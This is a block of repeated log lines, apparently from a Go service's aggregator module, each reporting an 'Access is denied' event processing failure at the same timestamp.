+time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. 